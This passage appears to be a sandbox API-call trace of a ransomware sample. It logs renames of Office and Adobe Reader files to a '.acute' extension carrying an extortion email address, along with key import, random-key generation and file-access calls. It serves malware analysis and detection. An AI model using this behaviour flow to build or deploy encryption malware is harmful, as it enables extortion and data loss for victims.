office\\office14\\oartconv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll")) returned 0 [0276.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll")) returned 0 [0277.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv")) returned 0 [0277.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv")) returned 0 [0277.149] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.149] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc")) returned 0 [0277.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll")) returned 0 [0277.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll")) returned 0 [0277.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll")) returned 0 [0277.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.349] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll")) returned 0 [0277.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll")) returned 0 [0277.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll")) returned 0 [0277.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe")) returned 0 [0277.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll")) returned 0 [0277.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe")) returned 0 [0277.375] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.375] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll")) returned 0 [0277.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp")) returned 0 [0277.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.dll")) returned 0 [0277.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGM.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agm.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGM.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agm.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGM.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agm.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGM.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agm.dll")) returned 0 [0277.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\authplay.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\authplay.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\authplay.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\authplay.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\authplay.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\authplay.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\authplay.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\authplay.dll")) returned 0 [0277.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\ccme_base.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\ccme_base.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\ccme_base.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\ccme_base.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\ccme_base.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\ccme_base.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\ccme_base.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\ccme_base.dll")) returned 0 [0277.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CoolType.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cooltype.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CoolType.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cooltype.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CoolType.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cooltype.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CoolType.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cooltype.dll")) returned 0 [0277.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.dll")) returned 0 Thread: id = 104 os_tid = 0x6e0 [0272.563] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4280080 [0272.563] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4290088 [0272.564] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c65c0 [0272.564] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x110102) returned 0x4650020 [0272.564] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x50) returned 0x1c65f0 [0272.564] CryptImportKey (in: hProv=0x7d5188, pbData=0x420fce0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x420fd48 | out: phKey=0x420fd48*=0x806d58) returned 1 [0272.564] CryptSetKeyParam (hKey=0x806d58, dwParam=0x1, pbData=0x420fd30, dwFlags=0x0) returned 1 [0272.564] CryptDecrypt (in: hKey=0x806d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0x420fcfc | out: pbData=0x1c65f0, pdwDataLen=0x420fcfc) returned 1 [0272.564] CryptDestroyKey (hKey=0x806d58) returned 1 [0272.564] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bd0000 [0272.564] GetProcAddress (hModule=0x75bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75bfd650 [0272.564] Wow64DisableWow64FsRedirection (in: OldValue=0x420fd98 | out: OldValue=0x420fd98*=0x0) returned 1 [0272.564] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0272.564] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.568] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=791686) returned 1 [0272.568] CloseHandle (hObject=0x324) returned 1 [0272.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0272.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.568] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.573] ResetEvent (hEvent=0x2d4) returned 1 [0272.573] SetEvent (hEvent=0x2d8) returned 1 [0272.573] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.573] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=89600) returned 1 [0272.573] CloseHandle (hObject=0x334) returned 1 [0272.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0272.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.574] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.574] ResetEvent (hEvent=0x2d4) returned 1 [0272.574] SetEvent (hEvent=0x2d8) returned 1 [0272.574] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.575] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=31744) returned 1 [0272.575] CloseHandle (hObject=0x334) returned 1 [0272.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0272.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.575] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.575] ResetEvent (hEvent=0x2d4) returned 1 [0272.575] SetEvent (hEvent=0x2d8) returned 1 [0272.576] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.576] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=33280) returned 1 [0272.576] CloseHandle (hObject=0x334) returned 1 [0272.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft 